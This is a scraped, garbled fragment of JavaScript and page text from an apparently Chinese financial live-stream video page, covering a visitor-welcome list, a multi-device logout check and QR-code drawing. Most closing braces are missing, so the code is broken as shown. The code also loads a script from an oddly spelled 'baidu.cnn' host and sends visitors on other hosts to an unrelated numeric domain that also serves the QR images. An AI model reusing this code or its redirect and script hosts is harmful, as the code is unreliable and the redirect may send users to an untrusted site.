else {
bp.src = 'http://push.zhanzhang.baidu.cnn/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
)();
if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) {
location.href = location.href.replace(document.location.host, 'www.284719.com');
return flag;
//var _randnumber=10000+(Math.floor(Math.random() * (100 - 1)) + 1);
var _randnumber= Math.random().toString(36).substring(3, 8);
//setInterval("AddVisitorHtml('', '游客"+_randnumber+"')", 10000);
var lastSid = "";
function AddVisitor() {
var vvv = Vivian.GetLiveVisitorCache("0", "2126", "videoplay").value;
if (vvv == "") {
if(jQuery(".tourist ul li:visible").length==0){
jQuery(".tourist").hide();
//么有游客进入,不显示列表
return false;
var jsonObj = eval("(" + vvv + ")");
if (lastSid != jsonObj.SessionID) {
lastSid = jsonObj.SessionID;
AddVisitorHtml(jsonObj.Area, jsonObj.Name);
else
{
if(jQuery(".tourist ul li:visible").length==0){
jQuery(".tourist").hide();
//么有游客进入,不显示列表
function AddVisitorHtml(area, name) {
// _randnumber=10000+(Math.floor(Math.random() * (100 - 1)) + 1);
//name="游客"+_randnumber;
jQuery(".tourist").show(); //有游客进入,显示列表
var html = "
欢迎"+area+name+"进入直播间
"
jQuery(".tourist ul").append(html);
//fadeOut();//慢慢消失效果
jQuery("#"+name).fadeOut(10000);
scrollTOP();
//设置进入游客
function AddVisitorInterval() {
try {
Vivian.SetLiveVisitorCache2("0", "2126", "videoplay",_randnumber);
AddVisitor();
catch (error) {
setInterval("AddVisitor()", 8000);
//条件 -预告不判断
//最后访问的页面
function CheckLastVisitor() {
var _flag= Vivian.CheckLastVisitor("2126","0").value;
if(_flag!="1")
{
alert("该账号已经在其他终端登录,即将退出直播间。");
closePage();
function closePage() {
if (navigator.userAgent.indexOf("Firefox") != -1 || navigator.userAgent.indexOf("Chrome") != -1) {
window.location.href = "about:blank";
window.close();
else {
window.opener = null;
window.open("", "_self");
window.close();
function scrollTOP(){
//if(jQuery(".tourist ul li:visible").length<5){
var index=jQuery(".tourist ul li:visible").length;
//可视0,1条,top=170
if(index>1){index=index-2;
else{index=0;
var new_top = 170 + (-index * 46);
if(new_top>170){new_top=170;
if(new_top<-60){new_top=-60;
console.log("index="+index+"new_top="+new_top);
jQuery(".tourist ul").animate({top: new_top+'px'
);
//
;
var timesRun=0;
index = 0;
jQuery(document).ready(function() {
AddVisitorInterval();
);
当前视频不支持兼容模式下播放,
建议您切换成极速模式,
或使用Chrome等其他浏览器观看。
您也可以扫码手机端观看
三季报来了, 已披露业绩预告公司全部“预喜”
2023-10-11 16:12:3150991
var canvas0 = document.getElementById("myCanvas");
var canvas1 = document.getElementById("myCanvas1");
imageToCanvas(canvas0, "https://www.284719.com/QrCode.aspx?s=https%3A//m.ybzhan.cn/video/h2126.html");
imageToCanvas(canvas1, "https://www.284719.com/QrCode.aspx?s=https%3A//m.ybzhan.cn/video/h2126.html");
function imageToCanvas(canvas1, url) {
var img = new Image();
img.src = url;
img.onload = function () {
var ctx = canvas1.getContext("2d");
ctx.drawImage(img, 0, 0,canvas1.width,canvas1.height);
//console.log(img.width + ":" + img.height);
jQuery(".area").slimScroll({
height: '410px',
);
1